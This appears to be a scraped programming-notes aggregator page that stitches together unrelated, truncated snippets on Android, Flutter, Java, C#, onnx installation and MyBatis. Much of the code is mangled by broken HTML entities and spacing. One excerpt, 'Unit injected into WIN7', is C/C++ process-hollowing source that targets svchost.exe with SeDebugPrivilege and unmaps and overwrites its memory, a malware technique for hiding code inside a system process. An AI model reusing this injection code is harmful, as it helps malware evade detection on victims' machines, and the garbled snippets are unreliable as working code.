How to implement public templates without relying on the background?

The method I am using now is to put the public part in js, which is dynamically generated every time the page is loaded. Is there a better way?

Android custom sliding viewgroup up and down, Android custom ViewGroup to achieve elastic sliding effect

Android custom sliding viewgroup up and down, Android custom ViewGroup to achieve elastic sliding effect

Customize View to achieve an elastic sliding effect,for your reference,The specific content is as follows Implementation principle Measure all sub-Views in onMeasure() @Override protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) { // Measure all child Views int count = getChildCount(); for (int i = 0; i <count; i++) { View childView = getChildAt(i); measureChild( childView, widthMeasureSpec, heightMeasureSpec); } setMeasuredDimension(widthMeasureSpec, heightMeasureSpec); } onLayout(), will All sub-Views are arranged in order of position @Override protected void onLayout(boolean changed, int l, int t, int r, int b) { // Set the height of ViewGroup and arrange all child Views int childCount = getChildCount(); MarginLayoutParams params = ( MarginLayoutParams) getLayoutParams(); params.height = mScreenHeight * childCount; for (int i = 0; i <childCount; i+& #43;) { View childView = getChildAt(i); if (childView.getVisibility() != View.GONE) { // Place each ChildView at the specified position childView.layout(l, i * mScreenHeight, r, (i + 1) * mScreenHeight); } } } handle sliding in onTouchEvent() @Override public boolean onTouchEvent(MotionEvent event) { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: mLastY = ( int) event.getY(); mStart = getScrollY(); return true; case MotionEvent.ACTION_MOVE: if (!mScroller.isFinished()) { // Terminate sliding mScroller.abortAnimation(); } int offsetY = (int) (mLastY – event.getY()); Log.d(TAG, “onTouchEvent: getScrollY: ” + getScrollY()); Log.d(TAG, “onTouchEvent:…

tx2 uses pip to install onnx, solve CouldnotbuildwheelsforonnxwhichusePEP517andcannotbeinstalleddirectly

Environment :tx2+cuda10.0+python3.6 Failed to install onnx using pip , the execution process is as follows &#xff1a ; pip3 install onnx==”1.6.0″ error : ERROR: Failed building wheel for onnxFailed to build onnxERROR: Could not build wheels for onnx which use PEP 517 and cannot be installed directly Passed Baidu& #xff0c; Check & # xff1a; Installing onnx requires protobuf compilation, so protobuf needs to be installed before installation. pip install numpypip install protobufsudo apt-get install protobuf-compiler libprotoc-devpip install onnx Installed again,successfully. pip3 install onnx==”1.6.0″ result:

ProJavaScriptTechniques Chapter 3: Creating Reusable Code

java javascript ip Programmer Programming copy function get Developer Write your review! Let’s make a fuss, see everything Member Login | User Registration recommended reading (adsbygoogle = window.adsbygoogle || []).push({}); <!– –> .syntaxhighlighter{ width: 740px; padding-top:40px;padding-bottom:20px; border: 1px solid #333; background: url(“/style/SyntaxHighlighter/top_bg.svg”); background-size: 43px; background-repeat: no-repeat; margin-bottom: -7px; border-radius: 15px; background-position: 16px 12px; padding-left: 10px; } .gutter{ display: none; }

Java calls multiple classes, and java uses multiple processes to call a certain class (a class file)

java enables multiple processes to call a class (class file) import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.InputStreamReader; import java.lang.management. ManagementFactory; import java.lang.management.RuntimeMXBean; public class MultipleProcessorAccess { private static int processorCount = 5;//5 public static void main(String[] args) { for (int i = 0; i <processorCount; i++) { p> ProcessBuilder pb = new ProcessBuilder(“java”, “PnSnapshotPerformanceTest”);//d20130306.UseJConsole pb.directory(new File(” C:/Users/yfan/Desktop/multipleTest”)); BufferedInputStream in = null; BufferedReader br = null; try { Process p = pb.start(); //returnCurrentProcessId(); // if wait the stream from server , // when one processor end can start next processor, // not multiple processor /*in = new BufferedInputStream(p. getInputStream()); br = new BufferedReader(new InputStreamReader(in)); String s; while ((s = 61; br.readLine()) !&# 61; null) { System.out.println(s); }*/ } catch (IOException e) { e.printStackTrace(); } finally { if (br != null) { try { br.close(); } catch (IOException e) {} } if (in != null) { try { in.close(); } catch (IOException e) {} } } } } private static int returnCurrentProcessId() { RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean(); String name = runtime.getName(); int pid = Integer.parseInt(name. substring(0, name.indexOf(“@”))); System.out.println(“current process id: ” + pid); return pid; } }

Flutter development – data persistent storage shared_preferences

Flutter development – data persistent storage shared_preferences

An overview shared_preferences,It saves data in the form of Key-Value(key-value pair),supports Android and iOS shared_preferences is a third-party plug-in , use SharedPreferences in Android , use NSUserDefaults Second add dependency 2.1 Dependency address pub address:https://pub.flutter-io. cn/packages/shared_preferences Github address :https://github.com/flutter/plugins/tree/master/packages/shared_preferences/shared_preferences 2.2 Add dependencies Add dependencies in the pubspec.yaml file of the project dependencies:shared_preferences: ^2.0.6 Execute command flutter pub get Three shared_preferences operations 3.1 Supported data types The data types supported by shared_preferences are int, double, bool, string, stringList 3.2 shared_preferences instantiation Synchronous operation Future _prefs = SharedPreferences.getInstance(); Asynchronous operation (async) var prefs = await SharedPreferences.getInstance(); 3.3 Basic operation of data (int as an example) 3.3.1 Read Data Future _readData() async {var prefs = await SharedPreferences.getInstance();var result &#61 ; prefs.getInt('Key_Int'); return result ?? 0;} 3.3.2 Save data _saveData() async {var prefs = await SharedPreferences.getInstance();prefs.setInt('Key_Int', 12);} 3.3.3 Delete data Future _deleteData() async {var prefs = await SharedPreferences.getInstance();prefs .remove('Key');} 3.3.4 Clear all data Future _clearData() async {var prefs = await SharedPreferences.getInstance();prefs.clear();} 3.4 Key related operations 3.4.1 Get all Keys Future<Set> _getKeys() async {var prefs = await SharedPreferences .getInstance();var keys = prefs.getKeys();return keys ?? [];} 3.4.2 Check whether Does the Key exist Future _containsKey() async {var prefs = await SharedPreferences.getInstance();return prefs.containsKey('Key') ? ? false;} Four…

csharp example CSHARPGroupDocs.AssemblyExamplesGenerateReportGenerateInTableListFromXMLinOpenPresentat

This article is organized by Programming Notes# for everyone. It mainly introduces the knowledge related to csharp such as -CSHARP-GroupDocs.AssemblyExamples-GenerateReport-GenerateInTableListFromXMLinOpenPresentat. I hope it has certain reference value for you. // For complete examples and data files, please go to https://github.com/groupdocsassembly/GroupDocs_Assembly_NET//Setting up source open presentation templateconst String strPresentatiOnTemplate= “Presentation Templates/In-Table List_XML_OpenDocument.odp”;//Setting up destination open presentation report const String strPresentatiOnReport= “Presentation Reports/In-Table List_XML Report. odp”;try{ //Instantiate DocumentAssembler class DocumentAssembler assembler = new DocumentAssembler(); //Call AssembleDocument to generate In-Table List Report in open presentation format > assembler.AssembleDocument(CommonUtilities.GetSourceDocument(strPresentationTemplate), CommonUtilities.SetDestinationDocument(strPresentationReport), DataLayer.GetAllDataFromXML(), “ds”);}catch (Exception ex){ Console .WriteLine(ex.Message);}

ASP.NET MVC uses typeahead.js to realize input intelligent prompt function_practical skills

Using typeahead.js can realize input in advance, that is, intelligent prompt, this article is implemented under ASP.NET MVC. The effect is as follows: The first is A model of the city. public class City { public int Id { get; set; } public string Name { get; set; } public string PinYin { get; set; } } Respond to the front-end request in HomeController to return the json data about City. public ActionResult GetCitiesJson() { var result = new List() { new City(){Id = 1, Name = “Qingdao”,PinYin = “qingdao”}, new City(){Id = 10, Name = “Qingshan”,PinYin = “qingshan”}, new City(){Id = 11, Name = “Qingfeng”,PinYin = “qingfeng”}, new City(){Id = 2, Name = “Wuhan”,PinYin = “wuhan”}, new City(){Id = 3, Name = “Yantai”,PinYin = “yantai”}, new City(){Id = 4, Name = “Harbin”,PinYin = “haerbing”}, new City(){Id = 5, Name = “Beijing”,PinYin = “beijing”}, new City(){Id = 6, Name = “Anyang”,PinYin = “angyang”}, new City(){Id = 7, Name = “Changchun”,PinYin = “changchun”}, new City(){Id = 8, Name = “Dongyang”,PinYin = “dongyang”}, new City(){Id = 9, Name = “Gezhouba”,PinYin = “gezhoubei”} }; return Json(result,JsonRequestBehavior.AllowGet); } First load the City collection in the view , then use the typeahead feature. @section styles{…

Unit injected into WIN7 (transfer)

Same as other systems //VC-Win32 #define _WIN32_WINNT 0x0501 #define WIN32_LEAN_AND_MEAN #pragma comment(lib,”ntdll.lib”) #include //sprintf #include //garbage 1 #include //garbage 2 #include //return codes #include //NTSTATUS #define TARGETS_0 “svchost.exe\0” extern “C” { PIMAGE_NT_HEADERS __stdcall RtlImageNtHeader( IN PVOID ModuleAddress ); NTSTATUS __stdcall NtGetContextThread( IN HANDLE ThreadHandle, OUT PCONTEXT pContext ); NTSTATUS __stdcall NtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN ULONG NumberOfBytesToRead, OUT PULONG NumberOfBytesReaded OPTIONAL ); NTSTATUS __stdcall NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL ); NTSTATUS __stdcall NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PU LONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection ); NTSTATUS __stdcall NtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT Context ); NTSTATUS __stdcall NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG SuspendCount OPTIONAL ); NTSTATUS __stdcall ZwUnmapViewOf Section( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); }; char target[MAX_PATH]; void __stdcall set_target(void) { srand(GetCurrentProcessId()); switch( 0 ) { default: case 0: sprintf(target,TARGETS_0);break; } } void __stdcall GainPrivileges(void) { HANDLE hToken; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken); LUID luid; LookupPrivilegeValueA(NULL,”SeDebugPrivilege”,&luid); TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid #61; luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),FALSE,FALSE); CloseHandle (hToken); } void __stdcall fork_system_file(void* file) { STARTUPINFO si; PROCESS_INFORMATION pi; SECURITY_ATTRIBUTES st; SECURITY_ATTRIBUTES sp; memset(&si,0,sizeof(STARTUPINFO)); memset(&pi,0,sizeof(PROCESS_INFORMATION));…

mybatisforeach tag usage

The foreach tag is the same as our Java is to traverse iterations, usually after the in keyword select * from tableName where id in (1,2) I usually put It serves as the condition in(1,2) select * from user where userRole in #{roleIds} Foreach attribute: collection: Iteration means passing Parameters entered item: an alias representing the iteration of each element in the collection index: used to represent the position iterated to during the iteration process open: Indicates what to start with separator: Indicates what symbol is used as a separator between each iteration close: Indicates what has ended

Contact Us

Contact us

181-3619-1160

Online consultation: QQ交谈

E-mail: [email protected]

Working hours: Monday to Friday, 9:00-17:30, holidays off

Follow wechat
Scan wechat and follow us

Scan wechat and follow us

Follow Weibo
Back to top
首页
微信
电话
搜索